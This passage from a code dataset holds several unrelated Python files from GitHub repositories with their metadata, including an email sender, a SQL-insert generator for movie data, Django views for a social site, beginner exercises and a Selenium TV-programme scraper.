\n\temail['subject'] = 'Email Testing with Python' #Subject of mail\n\n\t#Customize HTML file using Template\n\temail.set_content(mark.substitute(name= name[i],mark= marks[i],section = sec[i]),subtype='html')\n\twith smtplib.SMTP(host='smtp.gmail.com', port = 587) as smtp:\n\t\t#host and port are different for different Email Services. Here we are using Gmail.\n\t smtp.ehlo() \n\t smtp.starttls()\n\t smtp.login('your_gmail', 'your_password')\n\t smtp.send_message(email)\n\nprint('Mail Sent.')\n","repo_name":"shekhar316/Automated_Email_Delivery_System","sub_path":"email_sender.py","file_name":"email_sender.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19407090669","text":"import re \n\ndef explode(s):\n array = []\n id_end = re.match(r'\\d*', s).end()\n id = s[:id_end]\n array.append(id) \n year = \"NULL\"\n title = \"NULL\"\n genres = \"NULL\"\n if re.search(r'[(]\\d\\d\\d\\d[)]',s) is None:\n if re.search(r'(no genres listed)', s) is None:\n title_end = s.rfind(\",\")\n title = s[id_end+1: title_end]\n genres = s[title_end+1:]\n else:\n title = s[id_end+1:]\n else:\n year_end = re.search(r'[(]\\d\\d\\d\\d[)]',s).end()\n year_start = re.search(r'[(]\\d\\d\\d\\d[)]',s).start()\n year = s[year_start+1:year_end-1]\n genres = s[year_end+1:]\n title = s[id_end+1:year_start-1] \n title = title.replace(\"'\", \"‘\") \n array.append(title) \n array.append(year)\n array.append(genres) \n return array\n\ndef setMovies():\n print(\"INSERT INTO movies (id, title, year, genres)\\n\", file=db)\n print(f\"VALUES \", file=db)\n\n with open(\"movies.csv\", \"r\", encoding=\"utf-8\") as f:\n file = f.readlines()[1:]\n for i in range(len(file)):\n item = explode(file[i][:-1])\n if i != len(file)-1:\n print(f\"({item[0]}, '{item[3]}', {item[2]}, '{item[1]}'),\\n\", file=db)\n else:\n print(f\"({item[0]}, '{item[3]}', {item[2]}, '{item[1]}');\\n\", file=db) \n\ndef setRatings():\n print(\"INSERT INTO ratings (id, user_id, movie_id, rating, timestamp)\\n\", file=db)\n print(f\"VALUES\", end=\" \", file=db)\n \n with open(\"ratings.csv\", \"r\") as fl:\n file = fl.readlines()[1:]\n for i in range(len(file)):\n item = file[i][:-1].split(\",\")\n if i != len(file)-1:\n print(f\"({i}, {item[0]}, {item[1]}, {item[2]}, {item[3]}),\\n\", file=db)\n else:\n print(f\"({i}, {item[0]}, {item[1]}, {item[2]}, {item[3]});\\n\", file=db) \n\ndef setTags(): \n print(\"INSERT INTO tags (id, user_id, movie_id, tag, timestamp)\\n\", file=db)\n print(f\"VALUES\", end=\" \", file=db)\n with open(\"tags.csv\", \"r\") as fl:\n file = fl.readlines()[1:]\n for i in range(len(file)):\n item = file[i][:-1]\n item = item.replace(\"'\", \"‘\")\n item = item.split(\",\")\n if i != len(file)-1:\n print(f\"({i}, {item[0]}, {item[1]}, '{item[2]}', {item[3]}),\\n\", file=db)\n else:\n print(f\"({i}, {item[0]}, {item[1]}, '{item[2]}', {item[3]});\\n\", file=db) \n\ndef setUsers(): \n print(\"INSERT INTO users (id, name, email, gender, register_date, occupation)\\n\", file=db)\n print(f\"VALUES\", end=\" \", file=db)\n \n with open(\"users.txt\", \"r\") as fl:\n file = fl.readlines()[1:]\n for i in range(len(file)):\n item = file[i][:-1]\n item = item.replace(\"'\", \"‘\")\n item = item.split(\"|\")\n if i != len(file)-1:\n print(f\"( {item[0]}, '{item[1]}', '{item[2]}', '{item[3]}', {item[4]}, '{item[5]}'),\\n\", file=db)\n else:\n print(f\"( {item[0]}, '{item[1]}', '{item[2]}', '{item[3]}', {item[4]}, '{item[5]}');\\n\", file=db) \n \ndef dropTables(): \n print(\"DROP TABLE IF EXISTS movies;\\n\", file=db)\n print(\"DROP TABLE IF EXISTS ratings;\\n\", file=db)\n print(\"DROP TABLE IF EXISTS tags;\\n\", file=db)\n print(\"DROP TABLE IF EXISTS users;\\n\", file=db) \n\ndef createTables():\n print(\"CREATE TABLE movies (id INTEGER PRIMARY KEY, title VARCHAR, year INTEGER, genres VARCHAR);\\n\", file=db)\n print(\"CREATE TABLE ratings (id INTEGER PRIMARY KEY, user_id INTEGER, movie_id INTEGER, rating FLOAT, timestamp INTEGER);\\n\", file=db)\n print(\"CREATE TABLE tags (id INTEGER PRIMARY KEY, user_id INTEGER, movie_id INTEGER, tag VARCHAR, timestamp INTEGER);\\n\", file=db)\n print(\"CREATE TABLE users (id INTEGER PRIMARY KEY, name VARCHAR, email VARCHAR, gender VARCHAR, register_date DATE, occupation VARCHAR);\\n\", file=db) \n \nwith open(\"db_init.sql\", \"w\", encoding=\"utf-8\") as db:\n dropTables()\n createTables()\n setMovies()\n setRatings()\n setTags()\n setUsers()\n \n\n\n \n \n \n\n \n \n \n\n ","repo_name":"KaddaRilni/303_Kirdushkin_DV","sub_path":"Task02/make_db_init.py","file_name":"make_db_init.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17011831274","text":"# Description You will be given two positive integers m and n. You have to make a list of lists (which can be\n# visualised as a matrix) of size m*n, that is m sublists (rows), with each sublists having n integers (columns). The\n# matrix should be such that it should have 1 on the border and 0 everywhere else. See sample input and output for\n# more clarification.\n#\n#\n#\n# ----------------------------------------------------------------------\n#\n# Input:\n#\n# Two integers separated by a comma\n#\n#\n#\n# Output:\n#\n# A list of lists of size m*n printed like matrix as shown in the sample output.\n\nimport ast\n\nm_list = ast.literal_eval(input())\n\nrow = int(m_list[0])\ncol = int(m_list[1])\n\norginal_list = []\n# start writing code here\nfor i in range(row):\n list = []\n for j in range(col):\n list.append(0)\n orginal_list.append(list)\n\n# print(orginal_list)\n\nfor i in range(row):\n for j in range(col):\n if i == 0 or j == 0 or i == row - 1 or j == col - 1:\n orginal_list[i][j] = 1\n\nfor i in orginal_list:\n print(i)\n\n","repo_name":"hShivaram/pythonPractise","sub_path":"ProblemStatements/FencedMatrix.py","file_name":"FencedMatrix.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35295793384","text":"'''\nFaça um programa que peça o tamanho de um arquivo para download (em MB) e\na velocidade de um link de Internet (em Mbps),calcule e\ninforme o tempo aproximado de download do arquivo usando este link (em minutos).\n'''\n\ntamanho = float(input('Informe o tamanho do arquivo em MB: '))\nvelocidade = float(input('Informe a velocidade de conexão em Mbps: '))\n\ntamanho_bits = tamanho * 1024 * 1024 * 8\ntempo_segundos = tamanho_bits / (velocidade * 1024 * 1024)\ntempo_minutos = tempo_segundos / 60\n\nprint('Tempo aproximado de download:', tempo_minutos, 'minutos')\n","repo_name":"jonathan-mothe/ListaDeExercicios","sub_path":"estrutura_sequencial/ex018.py","file_name":"ex018.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1710877156","text":"import time, pickle, os.path\nfrom ambiruptor.library.miners.wiki_miners import DataMining\n\nt = time.time()\nprint(\"======================== Build database ===========================\")\ndata = DataMining()\ndata.set_wikidump_filename(\"data/wikidump.xml\")\ndata.set_database_filename(\"data/wikidump.db\")\ndata.build()\nprint(\"Done,\", time.time() - t, \"s\")\n\nt = time.time()\nprint(\"============== Building list of ambiguous words ===================\")\nfilename_ambiguouswords = \"data/ambiguous_words.txt\"\nwith open(filename_ambiguouswords, 'r') as f:\n ambiguous_words = { x.rstrip() for x in f.readlines() }\n if \"\" in ambiguous_words :\n ambiguous_words.remove(\"\")\n\nnb_ambiguous_words = len(ambiguous_words)\nprint(\"Done,\", time.time() - t, \"s\")\n\nt = time.time()\nprint(\"======================== Build corpora ============================\")\nfor n,w in enumerate(ambiguous_words):\n t2 = time.time()\n print(\"%s (%d/%d)\" % (w, n, nb_ambiguous_words))\n filename = \"data/corpora/\" + w + \".dump\"\n if os.path.isfile(filename):\n print(\"Already done.\")\n continue\n corpus = data.get_corpus(w)\n with open(filename, 'wb') as f:\n pickle.dump(corpus, f)\n print(\"ok (%f s)\" % (time.time() - t2))\nprint(\"Done,\", time.time() - t, \"s\")\n\n","repo_name":"Ambiruptor/Ambiruptor","sub_path":"scripts/build_corpora.py","file_name":"build_corpora.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"71096610189","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom django.core.paginator import Paginator\nfrom .models import Leads\n\n\ndef lead_listing(request):\n leads_list = Leads.objects.all()\n\n # filter leads subscribed in current month of year\n current_month_leads = leads_list.filter(\n created__year=timezone.now().year,\n created__month=timezone.now().month\n ).count()\n\n # filter un-subscribed leads\n unsub_leads = leads_list.filter(\n status='UNS'\n ).count()\n\n # hard-coded item per page = 15\n item_per_page = 15\n paginator = Paginator(leads_list, item_per_page)\n\n # get page number from request url, if there are no page parameter then\n # get default = 1\n page_number = request.GET.get('page', 1)\n\n leads = paginator.get_page(page_number)\n context = {\n 'total_leads': leads_list.count(),\n 'leads': leads,\n 'current_month_leads_count': current_month_leads,\n 'unsub_leads': unsub_leads,\n }\n return render(request, 'unity/leads/list.html', context)\n\n\ndef todo_task_list():\n \"\"\"\n 1) Copy, edit and get js widget to consume Lead API\n 2) done: create django project\n 3) done: create unit app\n 4) done: create data model store subscribed email\n 5) expose an REST API to be used by the widget to submit the email data.\n 6) done: Create a Django view for listing the emails.\n As shown in the figma file for reference :\n https://www.figma.com/file/CYhfwmtEK4Xm7ZsNM6Swej/Unity?node-id=0%3A1\n 7) Bonus - set up a celery task that runs every Monday and Wednesday and\n prints the number\n of new emails added in the current calendar month to the console.\n \"\"\"\n pass\n","repo_name":"vanruc/django_test_r1","sub_path":"unity/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8149827929","text":"class PrettyPrint:\n def solution1(self, A: int) -> None:\n if A < 1:\n return [[None]]\n if A == 1:\n print(1)\n return None\n\n column_direction = [1, 0, -1, 0]\n row_direction = [0, 1, 0, -1]\n current_direction_index = 0\n digit = A\n n = A * 2 - 1\n lap = n + 2 * (n - 1) + n - 2\n lap_tracker = 0\n\n current_row = current_column = 0\n seen = [[False for _ in range(n)] for _ in range(n)]\n output_matrix = [[0 for _ in range(n)] for _ in range(n)]\n\n for _ in range(n * n):\n output_matrix[current_row][current_column] = digit\n seen[current_row][current_column] = True\n next_row = current_row + row_direction[current_direction_index]\n next_column = current_column + column_direction[current_direction_index]\n\n if (0 <= next_row < n) and (0 <= next_column < n) and not seen[next_row][next_column]:\n current_row = next_row\n current_column = next_column\n else:\n current_direction_index = (current_direction_index + 1) % 4\n current_row += row_direction[current_direction_index]\n current_column += column_direction[current_direction_index]\n lap_tracker += 1\n if lap_tracker >= lap:\n digit -= 1\n lap_tracker = 0\n current_n = digit * 2 - 1\n lap = current_n + 2 * (current_n - 1) + current_n - 2\n\n i = j = 0\n for _ in range(n * n):\n print(output_matrix[i][j], end=\" \")\n j += 1\n if j == n:\n print()\n j = 0\n i += 1\n\nif __name__ == '__main__':\n obj = PrettyPrint()\n obj.solution1(1)\n\n","repo_name":"ArghyaD/practice-algo-ds","sub_path":"practice/pretty_print.py","file_name":"pretty_print.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41262312907","text":"# -*- coding: utf-8 -*-\n# @Author: WuLC\n# @Date: 2016-10-24 16:58:53\n# @Last modified by: WuLC\n# @Last Modified time: 2016-10-24 16:59:23\n# @Email: liangchaowu5@gmail.com\n\n# the given board is already valid\nclass Solution(object):\n def countBattleships(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: int\n \"\"\"\n m = len(board)\n if m==0:\n return 0\n n = len(board[0])\n count = 0\n for i in xrange(m):\n for j in xrange(n):\n if board[i][j] == '.' or (j>0 and board[i][j-1] == 'X') or (i>0 and board[i-1][j] == 'X'):\n continue\n count += 1\n return count\n ","repo_name":"WuLC/LeetCode","sub_path":"Algorithm/Python/419. Battleships in a Board.py","file_name":"419. Battleships in a Board.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"81"} +{"seq_id":"70066325384","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('db', views.dbupdate, name='dbupdate'),\n path('values', views.values, name='values'),\n path('month', views.month, name='month'),\n path('cont', views.content, name = 'cont')\n]","repo_name":"anmolbhalla/Hotel-Admin-System-Portal","sub_path":"HotelSystem/hotel_system/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"19305330562","text":"from django.shortcuts import render,get_object_or_404\r\n\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.shortcuts import redirect\r\nfrom django.http import HttpResponseRedirect, HttpResponse\r\nfrom social.forms import ProfileUpdateForm\r\nfrom django.core.mail import send_mail\r\nfrom django.conf import settings\r\n\r\n\r\nfrom django.urls import reverse\r\n\r\nfrom .forms import CommentForm,NewPostForm\r\nfrom .models import Post\r\nfrom .models import Comment\r\n\r\n\r\nfrom django.contrib.auth import get_user_model\r\n\r\nUser = get_user_model()\r\n\r\n\r\n@login_required\r\ndef new_post(request):\r\n user = request.user\r\n if request.method == 'POST':\r\n form = NewPostForm(request.POST)\r\n\r\n if form.is_valid():\r\n title = form.cleaned_data['title']\r\n content = form.cleaned_data['content']\r\n post = Post.objects.create(title=title, message=content, author=user)\r\n\r\n #subject = f\"{user.username} added a New Post\"\r\n\r\n #from_email = settings.DEFAULT_FROM_EMAIL\r\n #to_email = ['csarthak76@gmail.com']\r\n\r\n #message = 'TITLE: {0}\\nCONTENT:{1}'.format(title,content)\r\n\r\n #send_mail(subject,message,from_email,to_email,fail_silently=False)\r\n return redirect(reverse('social:home'))\r\n else:\r\n\r\n form = NewPostForm()\r\n\r\n return render(request, 'post.html', {'form': form})\r\n\r\ndef post_detail(request,id):\r\n post = get_object_or_404(Post,id=id)\r\n context = {\r\n 'post':post,\r\n 'title':post.title,\r\n 'content':post.message,\r\n 'author': post.author,\r\n 'date_posted': post.created_at,\r\n 'comments': post.comment_set.all(),\r\n 'num_comments':post.comment_set.count()\r\n\r\n }\r\n return render(request,'postinfo.html',context=context)\r\n\r\ndef post_edit(request,id):\r\n post = get_object_or_404(Post,id=id)\r\n\r\n if post.author == request.user:\r\n if request.method == 'POST':\r\n form = NewPostForm(request.POST)\r\n if form.is_valid():\r\n title = form.cleaned_data['title']\r\n content = form.cleaned_data['content']\r\n post.title = title\r\n post.message = content\r\n post.save()\r\n return redirect('social:post-detail',id=id)\r\n else:\r\n form = NewPostForm({'title':post.title,'content':post.message})\r\n return render(request,'postedit.html',context={'title':'Edit Post','form':form})\r\n\r\ndef post_delete(request,id):\r\n post = get_object_or_404(Post,id=id)\r\n if request.user == post.author:\r\n if request.method == 'POST':\r\n post.delete()\r\n return redirect('social:home')\r\n \r\n else:\r\n return redirect('home')\r\n return render(request,'postdelete.html',{'post': post})\r\n\r\ndef home(request):\r\n user = request.user\r\n following = user.profile.follows.all()\r\n \r\n context= {'post_records' : Post.objects.all()}\r\n return render(request,'home.html',context= {'post_records': Post.objects.all()})\r\n\r\ndef myfeed(request):\r\n user = request.user\r\n following = user.profile.follows.all()\r\n post_records = []\r\n # for post in Post.objects.all():\r\n # if post.author in following:\r\n # post_records.append(post)\r\n\r\n for profile in following:\r\n for post in profile.user.posts.all():\r\n post_records.append(post)\r\n\r\n print(post_records)\r\n\r\n context = {'post_records' : post_records}\r\n return render(request,'feed.html',context=context) \r\n\r\n \r\ndef comments(request,id):\r\n \r\n user = request.user\r\n post = get_object_or_404(Post, id=id)\r\n if request.method == 'POST':\r\n form = CommentForm(request.POST)\r\n\r\n if form.is_valid():\r\n comment = Comment(comment=form.cleaned_data['content'], author=user, post=post)\r\n comment.save()\r\n return redirect('social:post-detail', id=post.id)\r\n \r\n else:\r\n form = CommentForm()\r\n return render(request, 'comments.html', context={'form':form})\r\n \r\ndef profile(request,id):\r\n user = get_object_or_404(User,id=id)\r\n users = User.objects.all()\r\n\r\n context = {\r\n 'user': user,\r\n 'users' : users,\r\n 'username': user.username,\r\n 'name' :f'{user.profile.first_name} {user.profile.last_name}',\r\n 'about': user.profile.about,\r\n 'profile_pic' : user.profile.profile_pic,\r\n 'birthdate':f'{user.profile.birthdate.strftime(\"%d-%m-%y\")}',\r\n 'tot_followers' : len(user.profile.followers.all()),\r\n 'tot_following' : len(user.profile.follows.all())\r\n\r\n }\r\n return render(request,'profile.html',context=context)\r\n\r\ndef update_profile(request):\r\n user = request.user\r\n if request.method == 'POST':\r\n form = ProfileUpdateForm(request.POST,request.FILES)\r\n if form.is_valid():\r\n first_name = form.cleaned_data['first_name']\r\n last_name = form.cleaned_data['last_name']\r\n about = form.cleaned_data['about']\r\n birthdate = form.cleaned_data['birthdate']\r\n profile_pic = request.FILES['profile_pic']\r\n user.profile.first_name = first_name\r\n user.profile.last_name = last_name\r\n user.profile.birthdate = birthdate\r\n user.profile.about = about\r\n user.profile.profile_pic = profile_pic\r\n user.save()\r\n return redirect('social:profile', id=user.id)\r\n else:\r\n form = ProfileUpdateForm({'first_name':user.profile.first_name,\r\n 'last_name' :user.profile.last_name,\r\n 'birthdate' :user.profile.birthdate,\r\n 'about': user.profile.about,\r\n 'profile_pic':user.profile.profile_pic})\r\n return render(request,'update_profile.html',context={'title':'Update Profile','form' : form})\r\n\r\ndef user_follow(request,id):\r\n user_follow = get_object_or_404(User,id=id)\r\n follower = request.user\r\n\r\n if follower.profile not in user_follow.profile.followers.all():\r\n user_follow.profile.followers.add(follower.profile)\r\n user_follow.save()\r\n\r\n return redirect('social:profile',id=request.user.id)\r\n\r\ndef user_unfollow(request,id):\r\n user_unfollow = get_object_or_404(User,id=id)\r\n unfollower = request.user\r\n if unfollower.profile in user_unfollow.profile.followers.all():\r\n user_unfollow.profile.followers.remove(unfollower.profile)\r\n user_unfollow.save()\r\n \r\n return redirect('social:profile',id=request.user.id)\r\n","repo_name":"sarthak-choudhary/SocialMedia","sub_path":"social/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36980852586","text":"import os\nimport shutil\nfrom pathlib import Path\n\nimport yaml\n\nVIEW_DISTANCE = 1\n\nEPISODE_FILE = 'episode.jsonl'\nSETTINGS_FILE = 'settings.yaml'\n\n\nclass ExperimentSettings:\n def __init__(self, path):\n self.path = path\n root_path = Path(__file__).resolve().parent.parent / SETTINGS_FILE\n if path:\n settings_file = Path(path) / SETTINGS_FILE\n if not os.path.isdir(path):\n os.mkdir(path)\n shutil.copyfile(root_path, settings_file)\n else:\n settings_file = root_path\n with open(settings_file) as fin:\n self.settings = yaml.load(fin)\n\n def __getattr__(self, item):\n if item in self.settings:\n return self.settings[item]\n raise AttributeError(f'{item} is not found in settings')\n\n def get_path(self, filename):\n if self.path:\n return os.path.join(self.path, filename)\n return None\n","repo_name":"DOsinga/reinforced_artificial_life","sub_path":"shared/experiment_settings.py","file_name":"experiment_settings.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"38223729336","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom utils.log import write_to_log\nimport time\nimport config_app\nimport os\nimport datetime\nfrom utils.date_and_time import get_date_and_time_with_timezone\nimport re\nimport json\nfrom utils.send_email import SendEmail\nfrom .models import SaveRecordsToDb, GetRecordsFromDb, Channel, TvProgram\nfrom utils.date_and_time import hours_minutes_seconds_from_seconds\nimport subprocess\nfrom utils.bash_scripts import run_phantomjs, kill_phantom_js\nsend_email = SendEmail().send_email\n\n\nclass SeleniumWebDriver(object):\n\n def __init__(self, url=config_app.MAIN_PARSE_URL):\n self.url = url\n self.driver = None\n\n def driver_start(self):\n write_to_log('Preparing driver to parsing')\n self.driver = self.get_phantomjs_driver()\n time.sleep(5)\n write_to_log('Driver trying to open url %s' % self.url)\n self.driver.get(self.url)\n write_to_log('Url %s opened successfully' % self.url)\n self.driver.set_window_size(1920, 1080)\n assert self.url in self.driver.current_url, \"Can't open url: %s\" % self.url\n\n @staticmethod\n def get_channel_xpath():\n return \"//div/div[@class='tv-grid__items']/div[@class='tv-grid__page']/div\" \\\n \"[@class='tv-grid__item tv-grid__item_is-now_no']/div[@class='tv-channel']/\" \\\n \"div[@class='tv-channel__title']/div/div[@class='tv-channel-title__link']/a\"\n\n @staticmethod\n def get_channel_css_selector():\n return 'div.tv-channel > div.tv-channel__title > div > div.tv-channel-title__link > a'\n\n def get_background_image(self, selector):\n return self.driver.execute_script(\"\"\"\n var element = arguments[0],\n style = element.currentStyle || window.getComputedStyle(element, false);\n return style.backgroundImage.slice(4, -1);\n \"\"\", selector)\n\n @staticmethod\n def get_phantomjs_driver():\n conf = dict(service_args=['--ssl-protocol=any'])\n if os.environ.get('OPENSHIFT_DATA_DIR'):\n capabilities = DesiredCapabilities.PHANTOMJS\n capabilities['acceptSslCerts'] = True\n driver = webdriver.Remote(command_executor='http://'+os.environ.get(\n 'OPENSHIFT_PYTHON_IP')+':15005', desired_capabilities=capabilities,\n keep_alive=True)\n write_to_log('Connected to remote web driver')\n return driver\n driver = webdriver.PhantomJS(**conf)\n return driver\n\n def parse_url_channels(self):\n # run_phantomjs()\n time.sleep(20)\n self.driver_start()\n write_to_log('Start channels parsing')\n func_tm = time.time()\n page_height = 0\n elements = {}\n scroll_height_script = \"\"\" return window.innerHeight + window.scrollY \"\"\"\n while page_height != self.driver.execute_script(scroll_height_script):\n page_height = self.driver.execute_script(scroll_height_script)\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n time.sleep(5)\n channels = self.driver.find_elements_by_css_selector(self.get_channel_css_selector())\n write_to_log('Found %s channels' % len(channels))\n for channel in channels:\n time.sleep(1)\n name = channel.find_element_by_css_selector(\n 'span.tv-channel-title__text').text.encode('utf-8')\n href = channel.get_attribute('href').encode('utf-8')\n icon = channel.find_elements_by_css_selector(\n 'div.tv-channel-title__icon > span[class$=\"image_type_channel\"] > span')\n if icon:\n icon = self.get_background_image(icon[0]).encode('utf-8')\n if (href is not None) and (href not in elements.keys()):\n elements[href] = {'name': name, 'icon': icon}\n save_records = SaveRecordsToDb()\n new_elements_count = save_records.save_channels_to_db(elements)\n func_tm = int(time.time()-func_tm)\n text_for_log = 'Channels parsed successfully.{elements_count} new channels.' \\\n 'Execution time: {func_tm}'.\\\n format(elements_count=new_elements_count,\n func_tm=hours_minutes_seconds_from_seconds(func_tm))\n send_email(subject='Parser notification',\n text=text_for_log)\n write_to_log(text_for_log)\n SaveRecordsToDb.insert_log_info(execution_time=func_tm, new_items=new_elements_count)\n self.driver.close()\n # kill_phantom_js()\n\n def parse_tv_programs(self):\n # run_phantomjs()\n time.sleep(20)\n self.driver_start()\n write_to_log('Start programs parsing')\n func_tm = time.time()\n ids_and_links = GetRecordsFromDb().get_channels_id_and_link()\n date_today = get_date_and_time_with_timezone()\n count_programs = 0\n for id_and_link in ids_and_links:\n channel = Channel(channel_id=id_and_link['id'])\n channel.update()\n if id_and_link.get('link'):\n self.driver.get(id_and_link.get('link'))\n time.sleep(4)\n if '404' not in self.driver.title:\n if not channel.description or not channel.web_site:\n channel_description = self.driver.find_elements_by_css_selector(\n \"tr.b-row div.b-tv-channel-content__text\")\n channel_description = channel_description[0].text.encode('utf-8')\\\n if channel_description else \"This channel does not have description\"\n channel_web_site = self.driver.find_elements_by_css_selector(\n \"div.b-tv-channel-content__channel-info > \"\n \"div.b-tv-channel-content__links > a\")\n channel_web_site = channel_web_site[0].get_attribute(\n 'href').encode('utf-8') \\\n if channel_web_site else \"This channel does not have web site\"\n if len(channel_description) > Channel.description['length']:\n channel_description = channel_description[:Channel.description[\n 'length']]\n if len(channel_web_site) > Channel.web_site['length']:\n channel_web_site = channel_web_site[:Channel.web_site['length']]\n channel.description, channel.web_site = \\\n channel_description, channel_web_site\n channel.update()\n dates_of_week = list()\n for date in self.driver.find_elements_by_css_selector(\n 'div.tv-filter-days__viewport > div.tv-filter-days__items > '\n 'div.tv-filter-days__item'):\n date_of_week = re.findall(r'(\\d{4}-\\d{2}-\\d{2})T',\n date.get_attribute('data-bem'))[0]\n if datetime.datetime.strptime(date_today, '%Y-%m-%d') <= \\\n datetime.datetime.strptime(date_of_week, '%Y-%m-%d'):\n dates_of_week.append(date_of_week)\n dates_of_week = dates_of_week[:7] if len(dates_of_week) > 7 else dates_of_week\n for day in dates_of_week:\n self.driver.get(\"%(channel_link)s?date=%(date)s\" %\n {'channel_link': id_and_link['link'], 'date': day})\n time.sleep(1)\n channels_tags = self.driver.find_elements_by_css_selector(\n 'div.b-tv-channel-schedule__items > '\n 'div.b-tv-channel-schedule__item > a')\n tv_channels = []\n for channel in channels_tags:\n program_name = channel.find_element_by_class_name(\n 'tv-event__title-inner').text\n show_time = channel.find_element_by_class_name(\n 'tv-event__time-text').text + ':00'\n show_date = datetime.datetime.strptime(day, '%Y-%m-%d')\n genre = json.loads(channel.get_attribute(\n 'data-bem'))['tv-event']['genre']\n tv_channels.append(TvProgram(name=program_name, genre=genre,\n show_date=show_date, show_time=show_time))\n count_programs += 1\n SaveRecordsToDb.save_programs(id_and_link['id'], tv_channels)\n else:\n write_to_log('Error. Page {page} not found'.format(\n page=self.driver.current_url))\n send_email(subject='Page not found',\n text='Page {page} not found'.format(page=self.driver.current_url))\n else:\n write_to_log('Wrong channel link %s. Channel id %s' %\n (id_and_link.get('link'), id_and_link.get('id')))\n func_tm = time.time() - func_tm\n text_for_log = 'Tv programs parsed successfully.' \\\n 'Execution time: %s' % hours_minutes_seconds_from_seconds(func_tm)\n send_email(subject='Parser notification',\n text=text_for_log)\n write_to_log(text_for_log)\n SaveRecordsToDb.insert_log_info(parser_name='tv_programs', new_items=count_programs,\n execution_time=func_tm)\n self.driver.close()\n # kill_phantom_js()\n","repo_name":"spaun299/tv_parser","sub_path":"parser_app/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":9918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10785554488","text":"#!/usr/bin/env python3\n\nimport os\nfrom lib.types import Module, Endpoint\nfrom lib.utils import type2typescript\nfrom texts import texts as TEMPL\n\n# ==================================================================================================\n# INTERNAL FUNCTIONS\n# ==================================================================================================\n\n# ==================================================================================================\n# CLASS METHODS\n# ==================================================================================================\ndef generate_file_reducer_functions ( self, mod: Module, output: str ):\n\tmod_name = self.mod_name( mod )\n\n\t# create the output directory\n\toutfile = os.path.join( output, \"src\", \"modules\", mod_name, \"reducer_functions.ts\" )\n\tfout = self.create_file( outfile, mod )\n\n\tfout.write ( TEMPL [ 'FUNCTIONS_START' ] % self.snippets )\n\tfor ep in mod.endpoints.values():\n\t\tself._gen_reducer_function ( fout, ep, mod )\n\n\n\tfout.write ( TEMPL [ 'FUNCTIONS_END' ] % self.snippets )\n\n\t# close the output file\n\tfout.close()\n\tprint( \"Generated\", outfile )\n\ndef _gen_reducer_function( self, fout, ep: Endpoint, mod: Module ):\n\tdct = {\n\t\t\"action_name\": self.valid_function_name( ep.path ),\n\t\t\"action_upper\": self.valid_function_name ( ep.path ).upper(),\n\t\t\"_expand_payload\": '',\n\t\t\"_snippet\": ''\n\t}\n\n\tdct [ '_snippet' ] = self.snippets.get ( dct [ 'action_name' ], '' )\n\ts = dct['_snippet'].strip()\n\tif s == '':\n\t\tif dct['action_name'].endswith('_admin_add'):\n\t\t\tdct['_snippet'] = '\\t// TODO: check this autogenerated code\\n\\tnew_state.admin.rows = [ ...new_state.admin.rows, %s ];' % ep.return_name\n\t\telif dct['action_name'].endswith('_admin_update'):\n\t\t\tdct['_snippet'] = \"\"\"\n\t// TODO: check this, it is autogenerated\n\tconst rows = new_state.admin.rows.map( ( p: any ) => {\n\t\tif ( p.id !== %s.id ) return p;\n\t\tp = { ...p, ...%s};\n\n\t\treturn p;\n\t} );\n\tnew_state.admin.rows = rows;\"\"\" % (ep.return_name, ep.return_name)\n\n\t\telif dct['action_name'].endswith('_admin_field'):\n\t\t\tdct['_snippet'] = '\\tnew_state = post_admin_update( new_state, %s );' % ep.return_name\n\t\telif dct['action_name'].endswith('_admin_del'):\n\t\t\tdct['_snippet'] = '\\t// TODO: check this autogenerated code\\n\\tnew_state.admin.rows = new_state.admin.rows.filter( ( p ) => p.id != id );'\n\t\telif dct['action_name'].endswith('_admin_list'):\n\t\t\tdct['_snippet'] = '\\t// TODO: check this autogenerated code\\n\\tnew_state.admin.rows = [ ...%s ];' % ep.return_name\n\n\t# This code tries to get the return variables for explosion\n\t# By default, the params will be the variable name, used in both arrays and plain variables\n\t# But if the return_type is a structure (not array) then the structure fields are returned\n\n\t#print ( \"EP: \", ep, dct )\n\n\tparams = ''\n\ttyp = ep.return_type\n\tif typ and typ != 1:\n\t\tif isinstance ( typ, str ):\n\t\t\tparams = typ\n\t\telse:\n\t\t\tparams = ', '.join(typ.plain_fields())\n\n\tmode = ''\n\tif ep.return_type.endswith('[]'):\n\t\tmode = 'no-expand'\n\t\tvar_name = 